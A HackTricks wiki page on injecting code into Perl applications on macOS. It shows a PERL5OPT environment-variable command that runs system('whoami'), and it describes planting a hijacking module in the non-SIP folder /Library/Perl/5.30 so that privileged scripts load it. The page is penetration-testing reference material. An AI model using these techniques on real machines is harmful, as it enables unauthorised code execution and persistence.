4.8 KiB

Raw Permalink Blame History

macOS Perl Applications Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.

Via `PERL5OPT` env variable

Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.
For example, create this script:

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";

{% endcode %}

Now export the env variable and execute the perl script:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Via dependencies

It's possible to list the dependencies folder order of Perl running:

perl -e 'print join("\n", @INC)'

Which will return something like:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Some of the returned folders doesn't even exist, however, /Library/Perl/5.30 does exist, it's not protected by SIP and it's before the folders protected by SIP. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.

However, note that you need to be root to write in that folder.

For example, if a script is importing use File::Basename; it would be possible to create /Library/Perl/5.30/File/Basename.pm to make it execute arbitrary code.

References

https://www.youtube.com/watch?v=zxZesAN-TEk